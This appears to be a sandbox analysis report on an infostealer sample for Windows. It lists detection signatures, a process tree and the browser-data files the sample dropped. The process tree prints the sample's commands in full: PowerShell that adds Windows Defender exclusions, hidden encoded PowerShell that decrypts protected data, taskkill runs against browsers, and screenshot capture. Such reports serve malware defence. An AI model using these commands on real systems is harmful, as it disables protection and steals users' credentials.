Overview

overview

10

Static

static

10

2026-08-14...-s.exe

windows10-2004-x64

8

2026-08-14...-s.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    14/08/2026, 01:24

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
  • Size 51.5MB
  • Sample260814-bspclaee36
  • SHA256 a05d328fd830f134e01112e753f4dfdb4a277d43fc1612d224d638aa00c5228c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoveryexecutionspywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Kills process with taskkill 7 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 54 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"
    1⤵
    • Checks computer location settings
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3468
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4536
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-14_d9d9d08266a90f4c6873d87eff3d7b68_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4576
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1786670703886.vbs""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3628
      • C:\Windows\system32\cscript.exe
        cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1786670703886.vbs"
        3⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:2516
    • C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4372
    • C:\Windows\system32\taskkill.exe
      taskkill /F /IM msedge.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:736
    • C:\Windows\system32\taskkill.exe
      taskkill /F /IM brave.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1804
    • C:\Windows\system32\taskkill.exe
      taskkill /F /IM opera.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1504
    • C:\Windows\system32\taskkill.exe
      taskkill /F /IM vivaldi.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5052
    • C:\Windows\system32\taskkill.exe
      taskkill /F /IM operagx.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4984
    • C:\Windows\system32\taskkill.exe
      taskkill /F /IM opera_crashreporter.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4580
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\elev_97f524ca50d802aa_1786670707027' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\elev_97f524ca50d802aa_1786670707027\update_assistant.exe' -Force""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:436
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\elev_97f524ca50d802aa_1786670707027' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\elev_97f524ca50d802aa_1786670707027\update_assistant.exe' -Force"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3816
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AAoAJABiAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEEAUQBBAEEAQQBOAEMATQBuAGQAOABCAEYAZABFAFIAagBIAG8AQQB3AEUALwBDAGwAKwBzAEIAQQBBAEEAQQA2AGUAeAA0AEkAbgBVAFMAMwAwAHUAYQBvAGwAeQB3AGsASwBwAFEARgBoAEEAQQBBAEEAQQBjAEEAQQBBAEEAUgB3AEIAdgBBAEcAOABBAFoAdwBCAHMAQQBHAFUAQQBJAEEAQgBEAEEARwBnAEEAYwBnAEIAdgBBAEcAMABBAFoAUQBBAEEAQQBCAEIAbQBBAEEAQQBBAEEAUQBBAEEASQBBAEEAQQBBAE8AQgBXAGYAWABPAEkAbwBBAEEAZwBGAHMAdABvADEAbgBFAGQANgBqAHkAaABYAFYAbwA3ADIAdgA3AHgAKwB1AGsAMABHADkARwBwAG0AbgBuAGoAQQBBAEEAQQBBAEEANgBBAEEAQQBBAEEAQQBnAEEAQQBJAEEAQQBBAEEATgB1AEQAZQBUADgATwBCAHoAOQBDAGQAUwBuAGoAYwAwAHIARgAwAGgAbQByAEEAaQA5AGQAKwBsAGwAZwB6AE4ANwA4AHYAagBnAHUANQB5AFcAbQBNAEEAQQBBAEEAQgBqAEUAWQBSAEMAUQAzAFgARQA1AEwAQwBwAE8AeQByADcAKwA3AE0AZQBKAHoAWQB6AFMAZABRAFoASQB5AGYAWgBQAG8AcgAyAFYAQQBwAG4AdwBvAGQAVQA0ADIAZAA3AGwAWABPAE8AMABpAFUAZgBUAEkAZAA0AGIAcwBVAEEAQQBBAEEARABoACsAVQBXAG0AcABHAGYAQQBYAFoATQBXAGoAUgBzAGwANQBjAEgATQBUAEoAYgBuADAAYgBQAC8ARQBrAEMAbwBtAGoAeQA2ADEARQBSAFAATQBZAHYARQBGADQAZwBkAGEAZQBzAFkAZQBUAGQAaQBOAGUAQQBaAEYAWgBhAEkAUQB2AEUAdABjAHoAegBCAFMAcgBiAC8AUABLAEoAagBIAC8AOQBtACcAKQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABwAD0AWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAYgAsACQAbgB1AGwAbAAsAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEQAYQB0AGEAUAByAG8AdABlAGMAdABpAG8AbgBTAGMAbwBwAGUAXQA6ADoAQwB1AHIAcgBlAG4AdABVAHMAZQByACkACgAgACAAIAAgAFsAQwBvAG4AcwBvAGwAZQBdADoAOgBPAHUAdAAuAFcAcgBpAHQAZQAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHAAKQApAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAEUAcgByAG8AcgAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQAKAH0A"
      2⤵
      • Hide Artifacts: Hidden Window
      • Suspicious use of WriteProcessMemory
      PID:2964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AAoAJABiAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEEAUQBBAEEAQQBOAEMATQBuAGQAOABCAEYAZABFAFIAagBIAG8AQQB3AEUALwBDAGwAKwBzAEIAQQBBAEEAQQA2AGUAeAA0AEkAbgBVAFMAMwAwAHUAYQBvAGwAeQB3AGsASwBwAFEARgBoAEEAQQBBAEEAQQBjAEEAQQBBAEEAUgB3AEIAdgBBAEcAOABBAFoAdwBCAHMAQQBHAFUAQQBJAEEAQgBEAEEARwBnAEEAYwBnAEIAdgBBAEcAMABBAFoAUQBBAEEAQQBCAEIAbQBBAEEAQQBBAEEAUQBBAEEASQBBAEEAQQBBAE8AQgBXAGYAWABPAEkAbwBBAEEAZwBGAHMAdABvADEAbgBFAGQANgBqAHkAaABYAFYAbwA3ADIAdgA3AHgAKwB1AGsAMABHADkARwBwAG0AbgBuAGoAQQBBAEEAQQBBAEEANgBBAEEAQQBBAEEAQQBnAEEAQQBJAEEAQQBBAEEATgB1AEQAZQBUADgATwBCAHoAOQBDAGQAUwBuAGoAYwAwAHIARgAwAGgAbQByAEEAaQA5AGQAKwBsAGwAZwB6AE4ANwA4AHYAagBnAHUANQB5AFcAbQBNAEEAQQBBAEEAQgBqAEUAWQBSAEMAUQAzAFgARQA1AEwAQwBwAE8AeQByADcAKwA3AE0AZQBKAHoAWQB6AFMAZABRAFoASQB5AGYAWgBQAG8AcgAyAFYAQQBwAG4AdwBvAGQAVQA0ADIAZAA3AGwAWABPAE8AMABpAFUAZgBUAEkAZAA0AGIAcwBVAEEAQQBBAEEARABoACsAVQBXAG0AcABHAGYAQQBYAFoATQBXAGoAUgBzAGwANQBjAEgATQBUAEoAYgBuADAAYgBQAC8ARQBrAEMAbwBtAGoAeQA2ADEARQBSAFAATQBZAHYARQBGADQAZwBkAGEAZQBzAFkAZQBUAGQAaQBOAGUAQQBaAEYAWgBhAEkAUQB2AEUAdABjAHoAegBCAFMAcgBiAC8AUABLAEoAagBIAC8AOQBtACcAKQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABwAD0AWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAYgAsACQAbgB1AGwAbAAsAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEQAYQB0AGEAUAByAG8AdABlAGMAdABpAG8AbgBTAGMAbwBwAGUAXQA6ADoAQwB1AHIAcgBlAG4AdABVAHMAZQByACkACgAgACAAIAAgAFsAQwBvAG4AcwBvAGwAZQBdADoAOgBPAHUAdAAuAFcAcgBpAHQAZQAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHAAKQApAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAEUAcgByAG8AcgAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQAKAH0A
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2632
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AAoAJABiAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEEAUQBBAEEAQQBOAEMATQBuAGQAOABCAEYAZABFAFIAagBIAG8AQQB3AEUALwBDAGwAKwBzAEIAQQBBAEEAQQA2AGUAeAA0AEkAbgBVAFMAMwAwAHUAYQBvAGwAeQB3AGsASwBwAFEARgBoAEEAQQBBAEEAQQBlAEEAQQBBAEEAVABRAEIAcABBAEcATQBBAGMAZwBCAHYAQQBIAE0AQQBiAHcAQgBtAEEASABRAEEASQBBAEIARgBBAEcAUQBBAFoAdwBCAGwAQQBBAEEAQQBFAEcAWQBBAEEAQQBBAEIAQQBBAEEAZwBBAEEAQQBBAFEAKwBJAE0AbgBVAE4ARQBxAG0ANgBwAGMAOAB1AGwAYgBxACsAOQBVAHcAOQBLAEMARQBkADYAdAByAHoARABYAFgASgBnAEUAMgBJAE4AYQBEAFkAQQBBAEEAQQBBAEQAbwBBAEEAQQBBAEEAQwBBAEEAQQBnAEEAQQBBAEEAaABMACsATgBpAHAARQBGAFkAMABBAGEAZABWAGIARwBPAGoAYwBoAHkAaABNAFkAMgA3AEwASQBLAGUAUwBSAHkAVQArAFMAbABBAHMANgAyAHEAbwB3AEEAQQBBAEEAbABJADEAYQBZAE8AMQB6AHQAVgB1AEIAcgB5AGcASwA4AGYATwBVAEgAZQBFAHoAdABvAEQARgBCAEwAVABUAEEAZQBKAE0AUQB0AFgAMwBmAE4AbwBzAEEARQB5AEMANABFADMAYgBlAHEAaQA5AFQAdABLAHMAMQBBAHEAVgBRAEEAQQBBAEEATABxAHYAZgA5AC8AbQBzAFQAegB5AE8AdwB3ACsAZgBrAEQAdwB2ADgAbQBtADUASABiAGgAdABqAEsAQwA3AGUAbABnAEwAVQBFAHQATgAzAEwAYwAwADQAdQBtAHQAbQBMAG8ASABlAFYATQAvADEARwBWAGMAdABPAFYAYgBMAEgAMQBwAGkATwA4AG8AcwBNAEkANwBFADUAagA0AHQAMgBpAEcAcQBFAD0AJwApAAoAdAByAHkAIAB7AAoAIAAgACAAIAAkAHAAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABiACwAJABuAHUAbABsACwAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQAKACAAIAAgACAAWwBDAG8AbgBzAG8AbABlAF0AOgA6AE8AdQB0AC4AVwByAGkAdABlACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcAApACkACgB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAVwByAGkAdABlAC0ARQByAHIAbwByACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlAAoAfQA="
      2⤵
      • Hide Artifacts: Hidden Window
      • Suspicious use of WriteProcessMemory
      PID:416
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AAoAJABiAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEEAUQBBAEEAQQBOAEMATQBuAGQAOABCAEYAZABFAFIAagBIAG8AQQB3AEUALwBDAGwAKwBzAEIAQQBBAEEAQQA2AGUAeAA0AEkAbgBVAFMAMwAwAHUAYQBvAGwAeQB3AGsASwBwAFEARgBoAEEAQQBBAEEAQQBlAEEAQQBBAEEAVABRAEIAcABBAEcATQBBAGMAZwBCAHYAQQBIAE0AQQBiAHcAQgBtAEEASABRAEEASQBBAEIARgBBAEcAUQBBAFoAdwBCAGwAQQBBAEEAQQBFAEcAWQBBAEEAQQBBAEIAQQBBAEEAZwBBAEEAQQBBAFEAKwBJAE0AbgBVAE4ARQBxAG0ANgBwAGMAOAB1AGwAYgBxACsAOQBVAHcAOQBLAEMARQBkADYAdAByAHoARABYAFgASgBnAEUAMgBJAE4AYQBEAFkAQQBBAEEAQQBBAEQAbwBBAEEAQQBBAEEAQwBBAEEAQQBnAEEAQQBBAEEAaABMACsATgBpAHAARQBGAFkAMABBAGEAZABWAGIARwBPAGoAYwBoAHkAaABNAFkAMgA3AEwASQBLAGUAUwBSAHkAVQArAFMAbABBAHMANgAyAHEAbwB3AEEAQQBBAEEAbABJADEAYQBZAE8AMQB6AHQAVgB1AEIAcgB5AGcASwA4AGYATwBVAEgAZQBFAHoAdABvAEQARgBCAEwAVABUAEEAZQBKAE0AUQB0AFgAMwBmAE4AbwBzAEEARQB5AEMANABFADMAYgBlAHEAaQA5AFQAdABLAHMAMQBBAHEAVgBRAEEAQQBBAEEATABxAHYAZgA5AC8AbQBzAFQAegB5AE8AdwB3ACsAZgBrAEQAdwB2ADgAbQBtADUASABiAGgAdABqAEsAQwA3AGUAbABnAEwAVQBFAHQATgAzAEwAYwAwADQAdQBtAHQAbQBMAG8ASABlAFYATQAvADEARwBWAGMAdABPAFYAYgBMAEgAMQBwAGkATwA4AG8AcwBNAEkANwBFADUAagA0AHQAMgBpAEcAcQBFAD0AJwApAAoAdAByAHkAIAB7AAoAIAAgACAAIAAkAHAAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABiACwAJABuAHUAbABsACwAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQAKACAAIAAgACAAWwBDAG8AbgBzAG8AbABlAF0AOgA6AE8AdQB0AC4AVwByAGkAdABlACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcAApACkACgB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAVwByAGkAdABlAC0ARQByAHIAbwByACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlAAoAfQA=
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2072
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1248
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic path win32_VideoController get name /value
        3⤵
        • Detects videocard installed
        • Suspicious use of AdjustPrivilegeToken
        PID:4944
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2080
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2396
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Valve\Steam" /v SteamPath"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2316
      • C:\Windows\system32\reg.exe
        reg query "HKCU\Software\Valve\Steam" /v SteamPath
        3⤵
          PID:2516

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 ef4d5bfbde8a48f395520be6c84ffe8c003c31f0f913a4cbae6bc8256b6ad049
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 4211b5503de68413f5605cbeec4a49fb46fbec44c58df95be892f0dc308a39cf
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 0c557845aab1da497bbff0e8fbe65cabf4cb2804b97ba8ae8c695a528af70870
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 e606b38c66a0e7bb485a0b6256ba70eea3bc369d45254ad5068dcdcda49e4219
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          __PSScriptPolicyTest_vm4v2pdb.ong.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vm4v2pdb.ong.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          system_check_1786670703886.vbs
          • Path C:\Users\Admin\AppData\Local\Temp\system_check_1786670703886.vbs
          • Size 212B
          • SHA256 b1e3a51dab45d473d8772cab626ad93699e1b4de07852b0f8b008bd88c91095c
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          temp_webdata_1786670723011.db
          • Path C:\Users\Admin\AppData\Local\c089030c11a26baf\browser_data\autofills\temp_webdata_1786670723011.db
          • Size 138KB
          • SHA256 a24e360a8913c9dcd9dc0e6039f1e34ff59b7bb333ea52f862898c3f5607cdfd
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          temp_webdata_1786670723370.db
          • Path C:\Users\Admin\AppData\Local\c089030c11a26baf\browser_data\autofills\temp_webdata_1786670723370.db
          • Size 224KB
          • SHA256 d781b56555e65272ef4019de8706cba5042fb7afcf0f6e2ca56183ca9567ba8e
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Google Chrome (Default).txt
          • Path C:\Users\Admin\AppData\Local\c089030c11a26baf\browser_data\cookies\Google Chrome (Default).txt
          • Size 7B
          • SHA256 0a5664353be698fb7e263a110d3fbcb60e1cfe2af192083b77efa097fecb3b6f
          • MD5 SHA1 SHA512
          Submit Download

          ahs.dat
          • Path C:\Users\Admin\AppData\Local\c089030c11a26baf\browser_data\history\ahs.dat
          • Size 97B
          • SHA256 014d8e11992cb66d87b647e8237b430eaf7a94c11744abc97ef98d37e930a696
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          temp_history_1786670722996.db
          • Path C:\Users\Admin\AppData\Local\c089030c11a26baf\browser_data\history\temp_history_1786670722996.db
          • Size 160KB
          • SHA256 9091ac11406f559b228639a023f638aa4461083cf4151878f781b85acde0e2ba
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          temp_history_1786670723339.db
          • Path C:\Users\Admin\AppData\Local\c089030c11a26baf\browser_data\history\temp_history_1786670723339.db
          • Size 204KB
          • SHA256 8c24b66b55bef2d89d1ac69204ec3d5d7b191ba051c7c4c4cddcd66d92575d04
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          temp_cookies.db
          • Path C:\Users\Admin\AppData\Local\c089030c11a26baf\browser_data\temp_cookies.db
          • Size 20KB
          • SHA256 bcb45068502e65c9faf0406779440f9ab18026345e45943418be7a1b3c51b760
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          temp_cookies.db
          • Path C:\Users\Admin\AppData\Local\c089030c11a26baf\browser_data\temp_cookies.db
          • Size 20KB
          • SHA256 de48f5c4308a2477450952a8fd6462c411cc966f9e0fb0065a252b3be831a482
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          temp_login.db
          • Path C:\Users\Admin\AppData\Local\c089030c11a26baf\browser_data\temp_login.db
          • Size 40KB
          • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          temp_login.db
          • Path C:\Users\Admin\AppData\Local\c089030c11a26baf\browser_data\temp_login.db
          • Size 56KB
